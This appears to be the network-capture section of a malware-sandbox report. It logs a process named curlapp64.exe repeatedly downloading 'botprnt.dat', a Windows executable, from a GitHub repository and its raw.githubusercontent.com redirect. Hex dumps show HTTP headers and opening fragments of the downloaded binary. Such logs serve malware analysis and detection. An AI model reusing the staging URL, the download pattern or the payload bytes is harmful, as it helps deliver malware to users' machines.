2024-12-10 06:35:07 UTC	549	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 10 Dec 2024 06:35:07 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-10 06:35:07 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	185.199.109.133	443	4820	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:08 UTC	99	OUT	HEAD /botrunvd01/botdwl/main/botprnt.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-10 06:35:09 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17375232 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7cbcbacbd0e618085a41fd0edfbf97987a034ec2cc9fcab6a684b93b3c831467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A214:3389B3:301995:359EEE:6757E11C Accept-Ranges: bytes Date: Tue, 10 Dec 2024 06:35:09 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740059-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733812509.156931,VS0,VE161 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b26ddc3cb3974525fa1d407a21be020f51a658b5 Expires: Tue, 10 Dec 2024 06:40:09 GMT Source-Age: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49719	20.233.83.145	443	4820	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:11 UTC	87	OUT	GET /botrunvd01/botdwl/raw/main/botprnt.dat HTTP/1.1 Host: github.com Accept: /
2024-12-10 06:35:11 UTC	549	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 10 Dec 2024 06:35:07 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-10 06:35:11 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49720	185.199.109.133	443	4820	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:13 UTC	98	OUT	GET /botrunvd01/botdwl/main/botprnt.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-10 06:35:13 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17375232 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7cbcbacbd0e618085a41fd0edfbf97987a034ec2cc9fcab6a684b93b3c831467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A214:3389B3:301995:359EEE:6757E11C Accept-Ranges: bytes Date: Tue, 10 Dec 2024 06:35:13 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1733812513.294856,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: aa84f1579fe42c7c97235eec18e1957ae8f6616c Expires: Tue, 10 Dec 2024 06:40:13 GMT Source-Age: 4
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3f f7 f9 e3 7b 96 97 b0 7b 96 97 b0 7b 96 97 b0 09 17 96 b1 7e 96 97 b0 7b 96 96 b0 6a 96 97 b0 f8 10 92 b1 7a 96 97 b0 f8 10 94 b1 7a 96 97 b0 f8 10 97 b1 7a 96 97 b0 f8 10 95 b1 7a 96 97 b0 52 69 63 68 7b 96 97 b0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 ec 70 55 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 2a 00 2a 00 00 00 f2 08 01 00 00 00 00 20 24 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?{{{~{jzzzzRich{PEdpUg" ** $
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 46 fd 88 4e f4 0f b6 4e f5 88 46 f5 0f b6 46 01 88 4e fd 0f b6 4e f9 88 46 f9 0f b6 46 fa 88 4e 01 0f b6 4e f6 88 46 f6 0f b6 46 fe 88 46 fa 0f b6 46 02 88 46 fe 88 4e 02 0f 1f 44 00 00 49 8b c8 ba 04 00 00 00 0f 1f 84 00 00 00 00 00 0f b6 01 48 8d 49 04 42 0f b6 04 18 88 41 fc 48 83 ea 01 75 eb 49 ff c0 49 83 e9 01 75 d2 44 0f b6 c5 48 8b c3 49 c1 e0 04 41 b9 04 00 00 00 4c 2b c3 4c 03 c7 66 66 66 0f 1f 84 00 00 00 00 00 ba 04 00 00 00 66 66 66 0f 1f 84 00 00 00 00 00 41 0f b6 0c 00 30 08 48 ff c0 48 83 ea 01 75 f0 49 83 e9 01 75 da 40 84 ed 74 18 48 8b cb e8 1d 01 00 00 40 80 c5 ff 4c 8d 1d 32 31 00 00 e9 0d ff ff ff b9 10 00 00 00 0f 1f 84 00 00 00 00 00 41 0f b6 04 1f 30 03 48 8d 5b 01 48 83 e9 01 75 ef 0f b6 84 24 80 00 00 00 48 83 c6 10 88 87 b1 00 Data Ascii: FNNFFNNFFNNFFFFFNDIHIBAHuIIuDHIAL+LffffffA0HHuIu@tH@L21A0H[Hu$H
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 0f b6 b4 16 60 42 00 00 49 8d 57 fe 42 0f b6 b4 15 60 42 00 00 42 0f b6 ac 13 60 42 00 00 48 c1 ea 02 42 0f b6 9c 12 60 44 00 00 43 32 9c 11 60 42 00 00 46 8d 04 ad f0 ff ff ff 41 32 1c 08 41 8d 40 01 42 8d 3c ad 00 00 00 00 44 0f b6 cb 88 1c 0f 44 32 34 08 8d 47 01 44 88 34 08 45 0f b6 e6 41 8d 40 02 40 32 34 08 8d 47 02 40 88 34 08 44 0f b6 d6 41 8d 40 03 40 32 2c 08 8d 47 03 40 88 2c 08 44 0f b6 dd 41 8d 45 01 a8 03 75 4a 4c 8d 05 a6 e8 ff ff 40 0f b6 c6 49 8d 57 ff 48 c1 ea 02 46 0f b6 a4 00 60 42 00 00 40 0f b6 c5 46 0f b6 8c 02 60 44 00 00 46 0f b6 94 00 60 42 00 00 0f b6 c3 46 0f b6 9c 00 60 42 00 00 41 0f b6 c6 46 32 8c 00 60 42 00 00 8d 47 04 46 8d 04 ad f4 ff ff ff 45 32 0c 08 44 88 0c 08 41 8d 40 01 44 32 24 08 8d 47 05 44 88 24 08 41 8d 40 02 Data Ascii: `BIWB`BB`BHB`DC2`BFA2A@B<DD24GD4EA@@24G@4DA@@2,G@,DAEuJL@IWHF`B@F`DF`BF`BAF2`BGFE2DA@D2$GD$A@
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 48 89 43 50 49 8b 45 08 48 89 43 58 48 b8 00 00 00 00 00 10 00 00 48 c7 43 68 0a 00 02 00 48 c7 43 70 08 00 00 00 48 89 73 78 48 89 44 24 78 48 8d 44 24 78 48 89 83 98 00 00 00 48 8b 45 78 48 c7 83 88 00 00 00 10 00 02 00 48 c7 83 90 00 00 00 08 00 00 00 48 85 c0 74 1f 48 c7 83 a8 00 00 00 00 00 06 00 48 c7 83 b0 00 00 00 08 00 00 00 48 89 83 b8 00 00 00 eb 04 48 83 03 e0 33 c0 48 89 5c 24 50 0f 57 c0 48 89 45 10 0f 11 45 c0 48 8d 45 c0 48 c7 45 c0 58 00 00 00 48 89 44 24 48 48 8d 54 24 70 48 8b 44 24 60 48 8d 4c 24 68 48 89 44 24 40 41 b9 00 00 00 02 44 89 64 24 38 48 8d 45 88 44 89 64 24 30 45 8b c1 48 89 44 24 28 48 8d 45 88 0f 11 45 d0 48 89 44 24 20 0f 11 45 e0 44 89 65 c8 0f 11 45 f0 c7 45 d0 01 00 00 00 0f 11 45 00 4c 89 64 24 68 4c 89 64 24 70 e8 Data Ascii: HCPIEHCXHHChHCpHsxHD$xHD$xHHExHHHtHHHH3H\$PWHEEHEHEXHD$HHT$pHD$`HL$hHD$@ADd$8HEDd$0EHD$(HEEHD$ EDeEEELd$hLd$p
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 44 24 70 01 00 00 00 c7 44 24 74 51 fd 31 e9 48 89 75 80 c7 45 88 01 00 00 00 c7 45 8c 3f 3e 44 b5 48 89 75 98 c7 45 a0 01 00 00 00 c7 45 a4 92 59 18 40 48 89 75 b0 c7 45 b8 01 00 00 00 c7 45 bc 2e b3 3f 8a 48 89 75 c8 89 75 d0 c7 45 d4 2f 4d 75 13 48 89 75 d8 89 75 e8 c7 45 ec ac da f9 52 48 89 75 f0 89 75 00 c7 45 04 30 fa 79 b7 48 89 75 08 89 75 18 c7 45 1c e9 2e 6f 1c 48 89 75 20 89 75 30 c7 45 34 58 fd e2 09 48 89 75 38 89 75 48 c7 45 4c 7b fa 26 a5 48 89 75 50 4d 85 ff 75 17 be ff ff ff ff 8b c6 48 81 c4 78 04 00 00 41 5f 41 5e 5f 5e 5b 5d c3 49 63 4f 3c 48 8d 85 70 02 00 00 49 03 cf 4c 89 a4 24 70 04 00 00 48 8d 80 80 00 00 00 4c 89 ac 24 68 04 00 00 44 8b f6 8b fe 0f 10 41 18 0f 10 49 28 0f 11 40 80 0f 10 41 38 0f 11 48 90 0f 10 49 48 0f 11 40 a0 Data Ascii: D$pD$tQ1HuEE?>DHuEEY@HuEE.?HuuE/MuHuuERHuuE0yHuuE.oHu u0E4XHu8uHEL{&HuPMuHxA_A^_^[]IcO<HpIL$pHL$hDAI(@A8HIH@
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 05 b1 1a 00 00 e8 2c f7 ff ff f3 0f 7e 0d 94 29 00 00 0f 57 c0 f3 0f 7e 15 91 29 00 00 b9 10 00 00 00 66 0f 60 c8 66 0f 60 d0 f3 0f 7f 4d b0 f3 0f 7f 55 c0 66 90 0f b6 04 19 66 89 44 4d b0 48 ff c1 48 83 f9 14 72 ee 48 8d 1d 77 29 00 00 ba 50 01 00 00 48 8b cb 4c 8d 0d b8 1a 00 00 4c 8d 05 91 1a 00 00 e8 cc f6 ff ff 48 8b cf 66 0f 1f 84 00 00 00 00 00 f3 0f 7e 0c 19 0f 57 c0 66 0f 60 c8 f3 0f 7f 8c 4d 90 00 00 00 f3 0f 7e 4c 19 08 66 0f 60 c8 f3 0f 7f 8c 4d a0 00 00 00 f3 0f 7e 4c 19 10 66 0f 60 c8 f3 0f 7f 8c 4d b0 00 00 00 f3 0f 7e 4c 19 18 66 0f 60 c8 f3 0f 7f 8c 4d c0 00 00 00 48 83 c1 20 48 81 f9 40 01 00 00 72 a5 48 81 f9 4b 01 00 00 73 24 0f 1f 40 00 0f 1f 84 00 00 00 00 00 0f b6 04 19 66 89 84 4d 90 00 00 00 48 ff c1 48 81 f9 4b 01 00 00 72 e8 65 Data Ascii: ,~)W~)f`f`MUffDMHHrHw)PHLLHf~Wf`M~Lf`M~Lf`M~Lf`MH H@rHKs$@fMHHKre
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 45 bc 88 42 0c 0f b6 45 bd 88 42 0d 0f b6 45 be 88 42 0e 0f b6 45 bf 88 42 0f 0f b6 45 c0 88 42 10 0f b6 45 c1 88 42 11 0f b6 45 c2 88 42 12 0f b6 45 c3 88 42 13 0f b6 45 c4 88 42 14 0f b6 45 c5 88 42 15 0f b6 45 c6 88 42 16 0f b6 45 c7 88 42 17 0f b6 45 c8 88 42 18 0f b6 45 c9 88 42 19 0f b6 45 ca 88 42 1a 0f b6 45 cb 88 42 1b 0f b6 45 cc 88 42 1c 0f b6 45 cd 88 42 1d 0f b6 45 ce 88 42 1e 0f b6 45 cf 88 42 1f 0f b6 45 d0 88 42 20 0f b6 45 d1 88 42 21 0f b6 45 d2 88 42 22 0f b6 45 d3 88 42 23 0f b6 45 d4 88 42 24 0f b6 45 d5 88 42 25 0f b6 45 d6 88 42 26 0f b6 45 d7 88 42 27 0f b6 45 d8 88 42 28 0f b6 45 d9 88 42 29 c7 85 80 00 00 00 28 00 08 02 65 48 8b 04 25 30 00 00 00 4d 8b c6 ba 08 00 00 00 48 8b 48 60 48 8b 49 30 ff 15 d3 04 09 01 48 89 45 48 48 85 Data Ascii: EBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEB EB!EB"EB#EB$EB%EB&EB'EB(EB)(eH%0MHH`HI0HEHH
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: d8 06 41 88 40 25 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 07 41 88 40 26 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 08 41 88 40 27 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 09 41 88 40 28 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0a 41 88 40 29 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0b 41 88 40 2a 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0c 41 88 40 2b 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0d 41 88 40 2c 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0e 66 41 0f 73 d8 0f 41 88 40 2d 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 01 41 88 40 2e 66 44 0f 7e c0 41 88 40 2f 66 44 0f 7e c8 41 88 40 30 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 02 41 88 40 31 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 03 41 88 40 32 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 04 41 88 40 33 66 0f 7e c0 66 41 0f 6f c1 Data Ascii: A@%f~fAofsA@&f~fAofsA@'f~fAofsA@(f~fAofsA@)f~fAofsA@*f~fAofsA@+f~fAofsA@,f~fAofsfAsA@-f~fAofsA@.fD~A@/fD~A@0f~fAofsA@1f~fAofsA@2f~fAofsA@3f~fAo
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: 33 d2 33 c9 ff d0 85 c0 78 0d 48 8b 8d 90 03 00 00 ff 15 19 fb 08 01 48 8d 95 90 03 00 00 48 c7 85 90 03 00 00 80 69 67 ff 33 c9 e8 bc 00 00 00 65 48 8b 04 25 30 00 00 00 33 d2 4c 8b 45 58 48 8b 48 60 48 8b 49 30 ff 15 c3 fa 08 01 48 89 7d 58 33 d2 89 7d 50 65 48 8b 04 25 30 00 00 00 4c 8b 45 78 48 8b 48 60 48 8b 49 30 ff 15 9f fa 08 01 48 81 c4 78 04 00 00 5f 5d c3 cc cc cc cc cc 48 83 ec 08 4c 8b c9 4d 85 c0 74 13 48 89 3c 24 48 8b f9 49 8b c8 0f b6 c2 f3 aa 48 8b 3c 24 49 8b c1 48 83 c4 08 c3 cc cc cc cc cc cc cc cc cc 4c 8b d1 8b 05 37 fa 08 01 0f 05 c3 4c 8b d1 8b 05 2f fa 08 01 0f 05 c3 4c 8b d1 8b 05 27 fa 08 01 0f 05 c3 4c 8b d1 8b 05 1f fa 08 01 0f 05 c3 4c 8b d1 8b 05 17 fa 08 01 0f 05 c3 4c 8b d1 8b 05 0f fa 08 01 0f 05 c3 00 00 00 00 00 00 00 Data Ascii: 33xHHHig3eH%03LEXHH`HI0H}X3}PeH%0LExHH`HI0Hx_]HLMtH<$HIH<$IHL7L/L'LLL
2024-12-10 06:35:13 UTC	1378	IN	Data Raw: c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0 b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3 d2 cd 0c 13 ec 5f 97 44 17 c4 a7 7e 3d 64 5d 19 73 60 81 4f dc 22 2a 90 88 46 ee b8 14 de 5e 0b db e0 32 3a 0a 49 06 24 5c c2 d3 ac 62 91 95 e4 79 e7 c8 37 6d 8d d5 4e a9 6c 56 f4 ea 65 7a ae 08 ba 78 25 2e 1c a6 b4 c6 e8 dd 74 1f 4b bd 8b 8a 70 3e b5 66 48 03 f6 0e 61 35 57 b9 86 c1 1d 9e e1 f8 98 11 69 d9 8e 94 9b 1e 87 e9 ce 55 28 df 8c a1 89 0d bf e6 42 68 41 99 2d 0f b0 54 bb 16 52 09 6a d5 30 36 a5 38 bf 40 a3 9e 81 f3 d7 fb 7c Data Ascii: }YGr&6?4q1#'u,nZR;)/S [j9JLXCM3EP<Q@8!_D~=d]s`O"*F^2:I$\by7mNlVezx%.tKp>fHa5WiU(BhA-TRj068@\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49724	20.233.83.145	443	6604	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:16 UTC	88	OUT	HEAD /botrunvd01/botdwl/raw/main/botprnt.dat HTTP/1.1 Host: github.com Accept: /
2024-12-10 06:35:17 UTC	549	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 10 Dec 2024 06:35:07 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-10 06:35:17 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49731	185.199.109.133	443	6604	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:18 UTC	99	OUT	HEAD /botrunvd01/botdwl/main/botprnt.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-10 06:35:19 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17375232 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7cbcbacbd0e618085a41fd0edfbf97987a034ec2cc9fcab6a684b93b3c831467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4DD6:37C0E5:13E06D:1611DA:6757E121 Accept-Ranges: bytes Date: Tue, 10 Dec 2024 06:35:19 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890029-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733812519.009312,VS0,VE155 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 15afb13eae7dd64812d89bafcfe6c65c8c7616eb Expires: Tue, 10 Dec 2024 06:40:19 GMT Source-Age: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49737	20.233.83.145	443	6604	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:20 UTC	87	OUT	GET /botrunvd01/botdwl/raw/main/botprnt.dat HTTP/1.1 Host: github.com Accept: /
2024-12-10 06:35:21 UTC	549	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 10 Dec 2024 06:35:07 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-10 06:35:21 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49743	185.199.109.133	443	6604	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:22 UTC	98	OUT	GET /botrunvd01/botdwl/main/botprnt.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-10 06:35:23 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17375232 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7cbcbacbd0e618085a41fd0edfbf97987a034ec2cc9fcab6a684b93b3c831467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A214:3389B3:301995:359EEE:6757E11C Accept-Ranges: bytes Date: Tue, 10 Dec 2024 06:35:23 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740046-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1733812523.136804,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: e9113864c51347f7261ee0caeb536bfa4017cac8 Expires: Tue, 10 Dec 2024 06:40:23 GMT Source-Age: 14
